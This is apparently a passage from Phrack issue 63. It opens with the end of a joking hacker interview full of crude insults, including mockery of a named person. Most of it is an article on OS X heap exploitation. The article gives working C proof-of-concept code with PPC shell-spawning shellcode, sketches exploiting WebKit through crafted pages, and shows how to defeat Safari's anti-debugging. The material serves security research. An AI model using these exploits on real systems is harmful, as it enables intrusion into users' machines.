A: If they're really worried about that they should stop scuttling and start blubbering instead.

Q: We would like to congratulate you on a succesful Phrack Prophile defacement, and actually managing to get it distributed. How _did_ you pull it off?

A: I didn't :D

Q: Can you answer a question with a paragraph less than 20 lines long? A: No.

Q: Is your love of MIPS related at all to the 'Coyote & Road Runner' cartoon?

A: "See MIPS Run"?

Q: I heard you're the funder of huhushmail ? Can you give us some light about why Security through Obscurity actually works?

A: One of them, yes. I have to agree, though if I give you any enlightenment I would be breaking the conecpt.

Q: Can you guess what will be your next answer?

A: No, but I know the question.

Q: Any idea why Phrack shouldn't be renamed Phcrack?

A: Because of current price of the blue mosquitos from Tanzania.

Q: CRUZEIROOOOOOO

A: Chupame la pija, boludo maricon!

Q: Which is the better backdoor? PaX or grsecurity?

A: To be honest, I prefer the iGOBLIN backdooring technique.

Q: What percentage of this interview is inside humor, that the reading audience will never understand?

A: 95.46008097%. I might get the graphical analysis soon, from the widely known LRL ‑‑ Lance Research Laboratory. ;)

Q: How does it feel to be famous now? How will this Prophile change your life for the better? For the worse? Where can job recruiters contact you?

A: I already got 83 phone calls, 68 fax messages, and 3 e‑mails. Invitations from all the fancy elite hacker groups. I might as well apply to the NSA ‑‑ National Symposium of Albatri. I expect to be capable of decreasing brazilian poverty and DDoS attacks with this, by increasing the number of defacers that will bow down towards my fancyness. I am also looking forward to becoming friends with all the elite hackers and to be recognized as such. I will be beautiful, famous, loved ‑‑ a super hero!

I'm welcome.

Q: DURA?

A: Hooray for Danny! *\o/*

Q: What are your thoughts on Richard Johnson of iDEFENSE?

A: Secure: never being a petit theft, he wears condoms!

Q: Do you have any idea why Richard Johnson of iDEFENSE has not killed himself yet?

A: Lack of fancyness.

Q: Who is your favorite "hot shot hacker from Texas"?

A: The KoolKrazyKlantastic ‑‑ fluffi leona \o/

=‑‑‑=[ One word comments

[give a 1‑word comment to each of the words on the left]

WORD? : WORD!

|=‑‑‑=[ Any suggestions/comments/flames to the scene and/or specific people?

This bunch of bullshit spat above meant something when done. Fuck its political meanings and implications, even though I cannot avoid them. Carry on.

|=‑‑‑=[ Shoutouts & Greetings

I don't believe in merit. To do is as arbitrary as to not do.

However, I want to HUG some people;

my family, my stag, my limey brother, my tukey, my albatross, my creyss, my frogs, my dutchies, my hungarian, the only guy who's hotter than the old apartment, my dot‑pa‑marine, my waismo, my joto, faggy, my fancy blackhat white american, my kurdish, my corcho, my sweedish, my boss, my tempest individuals, my metrosexual linguistic analystic K‑master giant, my iGOBLIN defender grin, my tibu, and AAALLLL my fancy collection of fancy individuals!

OSX heap exploitation techniques

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x05 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ OS X heap exploitation techniques ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ nemo <nemo@felinemenace.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ Overview of the Apple OS X userland heap implementation 2.1 ‑ Environment Variables

2.2 ‑ Zones

2.3 ‑ Blocks

2.4 ‑ Heap initialization

3 ‑ A sample overflow

4 ‑ A real life example (WebKit)

5 ‑ Miscellaneous

5.1 ‑ Wrap‑around Bug

5.2 ‑ Double free()'s

5.3 ‑ Beating ptrace()

6 ‑ Conclusion

7 ‑ References

‑‑[ 1 ‑ Introduction.

This article comes as a result of my experiences exploiting a heap overflow in the default web browser (Safari) on Mac OS X. It assumes a small amount of knowledge of PPC assembly. A reference for this has been provided in the references section below. (4). Also, knowledge of other memory allocators will come in useful, however it's not necessarily needed. All code in this paper was compiled and tested on Mac OS X ‑ Tiger (10.4) running on PPC32 (power pc) architecture.

‑‑[ 2 ‑ Overview of the Apple OS X userland heap implementation.

The malloc() implementation found in Apple's Libc‑391 and earlier (at the time of writing this) is written by Bertrand Serlet. It is a relatively complex memory allocator made up of memory "zones", which are variable size portions of virtual memory, and "blocks", which are allocated from within these zones. It is possible to have multiple zones, however most applications tend to stick to just using the default zone.

So far this memory allocator is used in all releases of OS X so far. It is also used by the Open Darwin project [8] on x86 architecture, however this isn't covered in the paper.

The source for the implementation of the Apple malloc() is available from [6]. (The current version of the source at the time of writing this is 10.4.1).

To access it you need to be a member of the ADC, which is free to sign up. (or if you can't be bothered signing up use the login/password from Bug Me Not [7] ;)

‑‑‑‑[ 2.1 ‑ Environment Variables.

A series of environment variables can be set, to modify the behavior of the memory allocation functions. These can be seen by setting the "MallocHelp" variable, and then calling the malloc() function. They are also shown in the malloc() manpage.

We will now look at the variables which are of the most use to us when exploiting an overflow.

[ MallocStackLogging ] ‑:‑ When this variable is set a record is kept of all the malloc operations that occur. With this variable set the "leaks" tool can be used to search a processes memory for malloc()'ed buffers which are unreferenced.

[ MallocStackLoggingNoCompact ] ‑:‑ When this variable is set, the record of malloc operation is kept in a manner in which the "malloc_history" tool is able to parse. The malloc_history tool is used to list the allocations and deallocations which have been performed by the process.

[ MallocPreScribble ] ‑:‑ This environment variable, can be used to fill memory which has been allocated with 0xaa. This can be useful to easily see where buffers are located in memory. It can also be useful when scripting gdb to investigate the heap.

[ MallocScribble ] ‑:‑ This variable is used to fill de‑allocated memory with 0x55. This, like MallocPreScribble is useful for making it easier to inspect the memory layout. Also this will make a program more likely to crash when it's accessing data it's not supposed to.

[ MallocBadFreeAbort ] ‑:‑ This variable causes a SIGABRT to be sent to the program when a pointer is passed to free() which is not listed as allocated. This can be useful to halt execution at the exact point an error occurred in order to assess what has happened.

NOTE: The "heap" tool can be used to inspect the current heap of a process the Zones are displayed as well as any objects which are currently allocated. This tool can be used without setting an environment variable.

‑‑‑‑[ 2.2 ‑ Zones.

A single zone can be thought of a single heap. When the zone is destroyed all the blocks allocated within it are free()'ed. Zones allow blocks with similar attributes to be placed together. The zone itself is described by a malloc_zone_t struct (defined in /usr/include/malloc.h) which is shown below:

[malloc_zone_t struct]

typedef struct _malloc_zone_t {

/* Only zone implementors should depend on the layout of this

structure; Regular callers should use the access functions below */

void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */

void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */

size_t (*size)(struct _malloc_zone_t *zone, const void *ptr); void *(*malloc)(struct _malloc_zone_t *zone, size_t size); void *(*calloc)(struct _malloc_zone_t *zone, size_t num_items, size_t size);

void *(*valloc)(struct _malloc_zone_t *zone, size_t size); void (*free)(struct _malloc_zone_t *zone, void *ptr); void *(*realloc)(struct _malloc_zone_t *zone, void *ptr, size_t size);

void (*destroy)(struct _malloc_zone_t *zone); const char *zone_name;

/* Optional batch callbacks; these may be NULL */

unsigned (*batch_malloc)(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested);

void (*batch_free)(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed);

struct malloc_introspection_t *introspect; unsigned version;

} malloc_zone_t;

(Well, technically zones are scalable szone_t structs, however the first element of a szone_t struct consists of a malloc_zone_t struct. This struct is the most important for us to be familiar with to exploit heap bugs using the method shown in this paper.)

As you can see, the zone struct contains function pointers for each of the memory allocation / deallocation functions. This should give you a pretty good idea of how we can control execution after an overflow.

Most of these functions are pretty self explanatory, the malloc,calloc, valloc free, and realloc function pointers perform the same functionality they do on Linux/BSD.

The size function is used to return the size of the memory allocated. The destroy() function is used to destroy the entire zone and free all memory allocated in it.

The batch_malloc and batch_free functions to the best of my understanding are used to allocate (or deallocate) several blocks of the same size.

NOTE:

The malloc_good_size() function is used to return the size of the buffer after rounding has occurred. An interesting note about this function is that it contains the same wrap mentioned in 5.1.

printf("0x%x\n",malloc_good_size(0xffffffff));

Will print 0x1000 on Mac OS X 10.4 (Tiger).

‑‑‑‑[ 2.3 ‑ Blocks.

Allocation of blocks occurs in different ways depending on the size of the memory required. The size of all blocks allocated is always paragraph aligned (a multiple of 16). Therefore an allocation of less than 16 will always return 16, an allocation of 20 will return 32, etc.

The szone_t struct contains two pointers, for tiny and small block allocation. These are shown below:

tiny_region_t *tiny_regions;

small_region_t *small_regions;

Memory allocations which are less than around 500 bytes in size fall into the "tiny" range. These allocations are allocated from a pool of vm_allocate()'ed regions of memory. Each of these regions consists of a 1MB, (in 32‑bit mode), or 2MB, (in 64‑bit mode) heap. Following this is some meta‑data about the region. Regions are ordered by ascending block size. When memory is deallocated it is added back to the pool.

Free blocks contain the following meta‑data:

(all fields are sizeof(void *) in size, except for "size" which is sizeof(u_short)). Tiny sized buffers are instead aligned to 0x10 bytes)

‑ checksum

‑ previous

‑ next

‑ size

The size field contains the quantum count for the region. A quantum represents the size of the allocated blocks of memory within the region.

Allocations of which size falls in the range between 500 bytes and four virtual pages in size (0x4000) fall into the "small" category. Memory allocations of "small" range sized blocks, are allocated from a pool of small regions, pointed to by the "small_regions" pointer in the szone_t struct. Again this memory is pre‑allocated with the vm_allocate() function. Each "small" region consists of an 8MB heap, followed by the same meta‑data as tiny regions.

Tiny and small allocations are not always guaranteed to be page aligned. If a block is allocated which is less than a single virtual page size then obviously the block cannot be aligned to a page.

Large block allocations (allocations over four vm pages in size), are handled quite differently to the small and tiny blocks. When a large block is requested, the malloc() routine uses vm_allocate() to obtain the memory required. Larger memory allocations occur in the higher memory of the heap. This is useful in the "destroying the heap" technique, outlined in this paper. Large blocks of memory are allocated in multiples of 4096. This is the size of a virtual memory page. Because of this, large memory allocations are always guaranteed to be page‑aligned.

‑‑‑‑[ 2.4 ‑ Heap initialization.

As you can see below, the malloc() function is merely a wrapper around the malloc_zone_malloc() function.

void *malloc(size_t size)

{

void *retval;

retval = malloc_zone_malloc(inline_malloc_default_zone(), size); if (retval == NULL)

{

errno = ENOMEM;

}

return retval;

}

It uses the inline_malloc_default_zone() function to pass the appropriate zone to malloc_zone_malloc(). If malloc() is being called for the first time the inline_malloc_default_zone() function calls _malloc_initialize() in order to create the initial default malloc zone.

The malloc_create_zone() function is called with the values (0,0) being passed in as as the start_size and flags parameters.

After this the environment variables are read in (any beginning with "Malloc"), and parsed in order to set the appropriate flags.

It then calls the create_scalable_zone() function in the scalable_malloc.c file. This function is really responsible for creating the szone_t struct. It uses the allocate_pages() function as shown below.

szone = allocate_pages(NULL, SMALL_REGION_SIZE, SMALL_BLOCKS_ALIGN, 0, \ VM_MAKE_TAG(VM_MEMORY_MALLOC));

This, in turn, uses the mach_vm_allocate() mach syscall to allocate the required memory to store the s_zone_t default struct.

‑[Summary]:

For the technique contained within this paper, the most important things to note is that a szone_t struct is set up in memory. The struct contains several function pointers which are used to store the address of each of the appropriate allocation and deallocation functions. When a block of memory is allocated which falls into the "large" category, the vm_allocate() mach syscall is used to allocate the memory for this.

‑‑[ 3 ‑ A Sample Overflow

Before we look at how to exploit a heap overflow, we will first analyze how the initial zone struct is laid out in the memory of a running process.

To do this we will use gdb to debug a small sample program. This is shown below:

‑[nemo@gir:~]$ cat > mtst1.c

#include <stdlib.h>

int main(int ac, char **av)

{

char *a = malloc(10);

__asm("trap");

char *b = malloc(10);

}

‑[nemo@gir:~]$ gcc mtst1.c ‑o mtst1

‑[nemo@gir:~]$ gdb ./mtst1

GNU gdb 6.1‑20040303 (Apple version gdb‑413)

(gdb) r

Starting program: /Users/nemo/mtst1

Reading symbols for shared libraries . done

Once we receive a SIGTRAP signal and return to the gdb command shell we can then use the command shown below to locate our initial szone_t structure in the process memory.

(gdb) x/x &initial_malloc_zones

0xa0010414 <initial_malloc_zones>: 0x01800000

This value, as expected inside gdb, is shown to be 0x01800000.

If we dump memory at this location, we can see each of the fields in the _malloc_zone_t_ struct as expected.

NOTE: Output reformatted for more clarity.

(gdb) x/x (long*) initial_malloc_zones

0x1800000: 0x00000000// Reserved1.

0x1800004: 0x00000000// Reserved2.

0x1800008: 0x90005e0c// size() pointer.

0x180000c: 0x90003abc// malloc() pointer.

0x1800010: 0x90008bc4// calloc() pointer.

0x1800014: 0x9004a9f8// valloc() pointer.

0x1800018: 0x900060ac// free() pointer.

0x180001c: 0x90017f90// realloc() pointer.

0x1800020: 0x9010efb8// destroy() pointer.

0x1800024: 0x00300000// Zone Name

//("DefaultMallocZone").

0x1800028: 0x9010dbe8// batch_malloc() pointer.

0x180002c: 0x9010e848// batch_free() pointer.

In this struct we can see each of the function pointers which are called for each of the memory allocation/deallocation functions performed using the default zone. As well as a pointer to the name of the zone, which can be useful for debugging.

If we change the malloc() function pointer, and continue our sample program (shown below) we can see that the second call to malloc() results in a jump to the specified value. (after instruction alignment).

(gdb) set *0x180000c = 0xdeadbeef

(gdb) jump *($pc + 4)

Continuing at 0x2cf8.

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec

0xdeadbeec in ?? ()

(gdb)

But is it really feasible to write all the way to the address 0x1800000? (or 0x2800000 outside of gdb). We will look into this now.

First we will check the addresses various sized memory allocations are given. The location of each buffer is dependant on whether the allocation size falls into one of the various sized bins mentioned earlier (tiny, small or large).

To test the location of each of these we can simply compile and run the following small c program as shown:

‑[nemo@gir:~]$ cat > mtst2.c

#include <stdio.h>

#include <stdlib.h>

int main(int ac, char **av)

{

extern *malloc_zones;

printf("initial_malloc_zones @ 0x%x\n",*malloc_zones); printf("tiny: %p\n",malloc(22));

printf("small: %p\n",malloc(500));

printf("large: %p\n",malloc(0xffffffff));

return 0;

}

‑[nemo@gir:~]$ gcc mtst2.c ‑o mtst2

‑[nemo@gir:~]$ ./mtst2

initial_malloc_zones @ 0x2800000

tiny: 0x500160

small: 0x2800600

large: 0x26000

From the output of this program we can see that it is only possible to write to the initial_malloc_zones struct from a "tiny" or " large" buffer. Also, in order to overwrite the function pointers contained within this struct we need to write a considerable amount of data completely destroying sections of the zone. Thankfully many situations exist in typical software which allow these criteria to be met. This is discussed in the final section of this paper.

Now we understand the layout of the heap a little better, we can use a small sample program to overwrite the function pointers contained in the struct to get a shell.

The following program allocates a 'tiny' buffer of 22 bytes. It then uses memset() to write 'A's all the way to the pointer for malloc() in the zone struct, before calling malloc().

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int ac, char **av)

{

extern *malloc_zones;

char *tmp,*tinyp = malloc(22);

printf("[+] tinyp is @ %p\n",tinyp);

printf("[+] initial_malloc_zones is @ %p\n", *malloc_zones); printf("[+] Copying 0x%x bytes.\n",

(((char *)*malloc_zones + 16) ‑ (char *)tinyp)); memset(tinyp,'A', (int)(((char *)*malloc_zones + 16) ‑ (char *)tinyp));

tmp = malloc(0xdeadbeef);

return 0;

}

However when we compile and run this program, an EXC_BAD_ACCESS signal is received.

(gdb) r

Starting program: /Users/nemo/mtst3

Reading symbols for shared libraries . done

[+] tinyp is @ 0x300120

[+] initial_malloc_zones is @ 0x1800000

[+] Copying 0x14ffef0 bytes.

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x00405000

0xffff9068 in ___memset_pattern ()

This is due to the fact that, in between the tinyp pointer and the malloc function pointer we are trying to overwrite there is some unmapped memory.

In order to get past this we can use the fact that blocks of memory allocated which fall into the "large" category are allocated using the mach vm_allocate() syscall.

If we can get enough memory to be allocated in the large classification, before the overflow occurs we should have a clear path to the pointer.

To illustrate this point, we can use the following code:

#include <stdio.h>

#include <stdlib.h>

#include <malloc.h>

#include <string.h>

char shellcode[] = // Shellcode by b‑r00t, modified by nemo.

"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02" "\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60" "\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" "\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78" "\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68";

extern *malloc_zones;

int main(int ac, char **av)

{

char *tmp, *tmpr;

int a=0 , *addr;

while ((tmpr = malloc(0xffffffff)) <= (char *)*malloc_zones);

// small buffer

addr = malloc(22);

printf("[+] malloc_zones (first zone) @ 0x%x\n", *malloc_zones); printf("[+] addr @ 0x%x\n",addr);

if ((unsigned int) addr < *malloc_zones)

{

printf("[+] addr + %u = 0x%x\n",

*malloc_zones ‑ (int) addr, *malloc_zones);

exit(1);

}

printf("[+] Using shellcode @ 0x%x\n",&shellcode);

for (a = 0;

a <= ((*malloc_zones ‑ (int) addr) + sizeof(malloc_zone_t)) / 4; a++)

addr[a] = (int) &shellcode[0];

printf("[+] finished memcpy()\n");

tmp = malloc(5); // execve()

}

This code allocates enough "large" blocks of memory (0xffffffff) with which to plow a clear path to the function pointers. It then copies the address of the shellcode into memory all the way through the zone before overwriting the function pointers in the szone_t struct. Finally a call to malloc() is made in order to trigger the execution of the shellcode.

As you can see below, this code function as we'd expect and our shellcode is executed.

‑[nemo@gir:~]$ ./heaptst

[+] malloc_zones (first zone) @ 0x2800000

[+] addr @ 0x500120

[+] addr + 36699872 = 0x2800000

[+] Using shellcode @ 0x3014

[+] finished memcpy()

sh‑2.05b$

This method has been tested on Apple's OS X version 10.4.1 (Tiger).

‑‑[ 4 ‑ A Real Life Example

The default web browser on OS X (Safari) as well as the mail client (Mail.app), Dashboard and almost every other application on OS X which requires web parsing functionality achieve this through a library which Apple call "WebKit". (2)

This library contains many bugs, many of which are exploitable using this technique. Particular attention should be payed to the code which renders <TABLE></TABLE> blocks ;)

Due to the nature of HTML pages an attacker is presented with opportunities to control the heap in a variety of ways before actually triggering the exploit. In order to use the technique described in this paper to exploit these bugs we can craft some HTML code, or an image file, to perform many large allocations and therefore cleaving a path to our function pointers. We can then trigger one of the numerous overflows to write the address of our shellcode into the function pointers before waiting for a shell to be spawned.

One of the bugs which i have exploited using this particular method involves an unchecked length being used to allocate and fill an object in memory with null bytes (\x00).

If we manage to calculate the write so that it stops mid way through one of our function pointers in the szone_t struct, we can effectively truncate the pointer causing execution to jump elsewhere.

The first step to exploiting this bug, is to fire up the debugger (gdb) and look at what options are available to us.

Once we have Safari loaded up in our debugger, the first thing we need to check for the exploit to succeed is that we have a clear path to the initial_malloc_zones struct. To do this in gdb we can put a breakpoint on the return statement in the malloc() function.

We use the command "disas malloc" to view the assembly listing for the malloc function. The end of this listing is shown below:

.....

0x900039dc <malloc+1464>: lwz r0,8(r1)

0x900039e0 <malloc+1468>: lmw r24,‑32(r1)

0x900039e4 <malloc+1472>: lwz r11,4(r1)

0x900039e8 <malloc+1476>: mtlr r0

0x900039ec <malloc+1480>: .long 0x7d708120

0x900039f0 <malloc+1484>: blr

0x900039f4 <malloc+1488>: .long 0x0

The "blr" instruction shown at line 0x900039f0 is the "branch to link register" instruction. This instruction is used to return from malloc().

Functions in OS X on PPC architecture pass their return value back to the calling function in the "r3" register. In order to make sure that the malloc()'ed addresses have reached the address of our zone struct we can put a breakpoint on this instruction, and output the value which was returned.

We can do this with the gdb commands shown below.

(gdb) break *0x900039f0

Breakpoint 1 at 0x900039f0

(gdb) commands

Type commands for when breakpoint 1 is hit, one per line.

End with a line saying just "end".

>i r r3

>cont

>end

We can now continue execution and receive a running status of all allocations which occur in our program. This way we can see when our target is reached.

The "heap" tool can also be used to see the sizes and numbers of each allocation.

There are several methods which can be used to set up the heap correctly for exploitation. One method, suggested by andrewg, is to use a .png image in order to control the sizes of allocations which occur. Apparently this method was learn from zen‑parse when exploiting a mozilla bug in the past.

The method which i have used is to create an HTML page which repeatedly triggers the overflow with various sizes. After playing around with this for a while, it was possible to regularly allocate enough memory for the overflow to occur.

Once the limit is reached, it is possible to trigger the overflow in a way which overwrites the first few bytes in any of the pointers in the szone_t struct.

Because of the big endian nature of PPC architecture (by default. it can be changed.) the first few bytes in the pointer make all the difference and our truncated pointer will now point to the .TEXT segment.

The following gdb output shows our initial_malloc_zones struct after the heap has been smashed.

(gdb) x/x (long )*&initial_malloc_zones

0x1800000: 0x00000000// Reserved1.

(gdb)

0x1800004: 0x00000000// Reserved2.

(gdb)

0x1800008: 0x00000000// size() pointer.

(gdb)

0x180000c: 0x00003abc// malloc() pointer.

(gdb) ^^ smash stopped here.

0x1800010: 0x90008bc4

As you can see, the malloc() pointer is now pointing to somewhere in the .TEXT segment, and the next call to malloc() will take us there. We can use gdb to view the instructions at this address. As you can see in the following example.

(gdb) x/2i 0x00003abc

0x3abc: lwz r4,0(r31)

0x3ac0: bl 0xd686c <dyld_stub_objc_msgSend>

Here we can see that the r31 register must be a valid memory address for a start following this the dyld_stub_objc_msgSend() function is called using the "bl" (branch updating link register) instruction. Again we can use gdb to view the instructions in this function.

(gdb) x/4i 0xd686c

0xd686c <dyld_stub_objc_msgSend>: lis r11,14

0xd6870 <dyld_stub_objc_msgSend+4>: lwzu r12,‑31732(r11) 0xd6874 <dyld_stub_objc_msgSend+8>: mtctr r12

0xd6878 <dyld_stub_objc_msgSend+12>: bctr

We can see in these instructions that the r11 register must be a valid memory address. Other than that the final two instructions (0xd6874 and 0xd6878) move the value in the r12 register to the control register, before branching to it. This is the equivalent of jumping to a function pointer in r12. Amazingly this code construct is exactly what we need.

So all that is needed to exploit this vulnerability now, is to find somewhere in the binary where the r12 register is controlled by the user, directly before the malloc function is called. Although this isn't terribly easy to find, it does exist.

However, if this code is not reached before one of the pointers contained on the (now smashed) heap is used the program will most likely crash before we are given a chance to steal execution flow. Because of this fact, and because of the difficult nature of predicting the exact values with which to smash the heap, exploiting this vulnerability can be very unreliable, however it definitely can be done.

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec

0xdeadbeec in ?? ()

(gdb)

An exploit for this vulnerability means that a crafted email or website is all that is needed to remotely exploit an OS X user.

Apple have been contacted about a couple of these bugs and are currently in the process of fixing them.

The WebKit library is open source and available for download, apparently it won't be too long before Nokia phones use this library for their web applications. [5]

‑‑[ 5 ‑ Miscellaneous

This section shows a couple of situations / observations regarding the memory allocator which did not fit in to any of the other sections.

‑‑‑‑[ 5.1 ‑ Wrap‑around Bug.

The examples in this paper allocated the value 0xffffffff. However this amount is not technically feasible for a malloc implementation to allocate each time.

The reason this works without failure is due to a subtle bug which exists in the Darwin kernel's vm_allocate() function.

This function attempts to round the desired size it up to the closest page aligned value. However it accomplishes this by using the vm_map_round_page() macro (shown below.)

#define PAGE_MASK (PAGE_SIZE ‑ 1)

#define PAGE_SIZE vm_page_size

#define vm_map_round_page(x) (((vm_map_offset_t)(x) + \ PAGE_MASK) & ~((signed)PAGE_MASK))

Here we can see that the page size minus one is simply added to the value which is to be rounded before being bitwise AND'ed with the reverse of the PAGE_MASK.

The effect of this macro when rounding large values can be illustrated using the following code:

#include <stdio.h>

#define PAGEMASK 0xfff

#define vm_map_round_page(x) ((x + PAGEMASK) & ~PAGEMASK)

int main(int ac, char **av)

{

printf("0x%x\n",vm_map_round_page(0xffffffff));

}

When run (below) it can be seen that the value 0xffffffff will be rounded to 0.

‑[nemo@gir:~]$ ./rounding

0x0

Directly below the rounding in vm_allocate() is performed there is a check to make sure the rounded size is not zero. If it is zero then the size of a page is added to it. Leaving only a single page allocated.

map_size = vm_map_round_page(size);

if (map_addr == 0)

map_addr += PAGE_SIZE;

The code below demonstrates the effect of this on two calls to malloc().

#include <stdio.h>

#include <stdlib.h>

int main(int ac, char **av)

{

char *a = malloc(0xffffffff);

char *b = malloc(0xffffffff);

printf("B ‑ A: 0x%x\n", b ‑ a);

return 0;

}

When this program is compiled and run (below) we can see that although the programmer believes he/she now has a 4GB buffer only a single page has been allocated.

‑[nemo@gir:~]$ ./ovrflw

B ‑ A: 0x1000

This means that most situations where a user specified length can be passed to the malloc() function, before being used to copy data, are exploitable.

This bug was pointed out to me by duke.

‑‑‑‑[ 5.2 ‑ Double free().

Bertrand's allocator keeps track of the addresses which are currently allocated. When a buffer is free()'ed the find_registered_zone() function is used to make sure that the address which is requested to be free()'ed exists in one of the zones. This check is shown below.

voidfree(void *ptr)

{

malloc_zone_t *zone;

if (!ptr) return;

zone = find_registered_zone(ptr, NULL);

if (zone)

{

malloc_zone_free(zone, ptr);

}

else

{

malloc_printf("*** Deallocation of a pointer not malloced: %p; " "This could be a double free(), or free() called " "with the middle of an allocated block; "

"Try setting environment variable MallocHelp to see " "tools that help to debug\n", ptr);

if (malloc_free_abort) abort();

}

}

This means that an address free()'ed twice (double free) will not actually be free()'ed the second time. Making it hard to exploit double free()'s in this way.

However, when a buffer is allocated of the same size as the previous buffer and free()'ed, but the pointer to the free()'ed buffer still exists and is used an exploitable condition can occur.

The small sample program below shows a pointer being allocated and free()ed and then a second pointer being allocated of the same size. Then free()ed twice.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int ac, char **av)

{

char *b,*a = malloc(11);

printf("a: %p\n",a);

free(a);

b = malloc(11);

printf("b: %p\n",b);

free(b);

printf("b: %p\n",a);

free(b);

printf("a: %p\n",a);

return 0;

}

When we compile and run it, as shown below, we can see that pointer "a" still points to the same address as "b", even after it was free()'ed. If this condition occurs and we are able to write to,or read from, pointer "a", we may be able to exploit this for an info leak, or gain control of execution.

‑[nemo@gir:~]$ ./dfr

a: 0x500120

b: 0x500120

b: 0x500120

tst(3575) malloc: *** error for object 0x500120: double free tst(3575) malloc: *** set a breakpoint in szone_error to debug a: 0x500120

I have written a small sample program to explain more clearly how this works. The code below reads a username and password from the user. It then compares password to one stored in the file ".skrt". If this password is the same, the secret code is revealed. Otherwise an error is printed informing the user that the password was incorrect.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#define PASSWDFILE ".skrt"

int main(int ac, char **av)

{

char *user = malloc(128 + 1);

char *p,*pass = "" ,*skrt = NULL;

FILE *fp;

printf("login: ");

fgets(user,128,stdin);

if (p = strchr(user,'\n'))

*p = '\x00';

// If the username contains "admin_", exit.

if(strstr(user,"admin_"))

{

printf("Admin user not allowed!\n");

free(user);

fflush(stdin);

goto exit;

}

pass = getpass("Enter your password: ");

exit:

if ((fp = fopen(PASSWDFILE,"r")) == NULL)

{

printf("Error loading password file.\n");

exit(1);

}

skrt = malloc(128 + 1);

if (!fgets(skrt,128,fp))

{

exit(1);

}

if (p = strchr(skrt,'\n'))

*p = '\x00';

if (!strcmp(pass,skrt))

{

printf("The combination is 2C,4B,5C\n");

}

else

{

printf("Password Rejected for %s, please try again\n"); user);

}

fclose(fp);

return 0;

}

When we compile the program and enter an incorrect password we see the following message:

‑[nemo@gir:~]$ ./dfree

login: nemo

Enter your password:

Password Rejected for nemo, please try again.

However, if the "admin_" string is detected in the string, the user buffer is free()'ed. The skrt buffer is then returned from malloc() pointing to the same allocated block of memory as the user pointer. This would normally be fine however the user buffer is used in the printf() function call at the end of the function. Because the user pointer still points to the same memory as skrt this causes an info‑leak and the secret password is printed, as seen below:

‑[nemo@gir:~]$ ./dfree

login: admin_nemo

Admin user not allowed!

Password Rejected for secret_password, please try again.

We can then use this password to get the combination:

‑[nemo@gir:~]$ ./dfree

login: nemo

Enter your password:

The combination is 2C,4B,5C

‑‑‑‑[ 5.3 ‑ Beating ptrace()

Safari uses the ptrace() syscall to try and stop evil hackers from debugging their proprietary code. ;). The extract from the man‑page below shows a ptrace() flag which can be used to stop people being able to debug your code.

PT_DENY_ATTACH

This request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; otherwise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent.

There are a couple of ways to get around this check (which i am aware of). The first of these is to patch your kernel to stop the PT_DENY_ATTACH call from doing anything. This is probably the best way, however involves the most effort.

The method which we will use now to look at Safari is to start up gdb and put a breakpoint on the ptrace() function. This is shown below:

‑[nemo@gir:~]$ gdb /Applications/Safari.app/Contents/MacOS/Safari GNU gdb 6.1‑20040303 (Apple version gdb‑413)

(gdb) break ptrace

Breakpoint 1 at 0x900541f4

We then run the program, and wait until the breakpoint is hit. When our breakpoint is triggered, we use the x/10i $pc command (below) to view the next 10 instructions in the function.

(gdb) r

Starting program: /Applications/Safari.app/Contents/MacOS/Safari Reading symbols for shared libraries .................... done

Breakpoint 1, 0x900541f4 in ptrace ()

(gdb) x/10i $pc

0x900541f4 <ptrace+20>: addis r8,r8,4091

0x900541f8 <ptrace+24>: lwz r8,7860(r8)

0x900541fc <ptrace+28>: stw r7,0(r8)

0x90054200 <ptrace+32>: li r0,26

0x90054204 <ptrace+36>: sc

0x90054208 <ptrace+40>: b 0x90054210 <ptrace+48> 0x9005420c <ptrace+44>: b 0x90054230 <ptrace+80> 0x90054210 <ptrace+48>: mflr r0

0x90054214 <ptrace+52>: bcl‑ 20,4*cr7+so,0x90054218 0x90054218 <ptrace+56>: mflr r12

At line 0x90054204 we can see the instruction "sc" being executed. This is the instruction which calls the syscall itself. This is similar to int 0x80 on a Linux platform, or sysenter/int 0x2e in windows.

In order to stop the ptrace() syscall from occurring we can simply replace this instruction in memory with a nop (no operation) instruction. This way the syscall will never take place and we can debug without any problems.

To patch this instruction in gdb we can use the command shown below and continue execution.

(gdb) set *0x90054204 = 0x60000000

(gdb) continue

‑‑[ 6 ‑ Conclusion

Although the technique which was described in this paper seem rather specific, the technique is still valid and exploitation of heap bugs in this way is definitely possible.

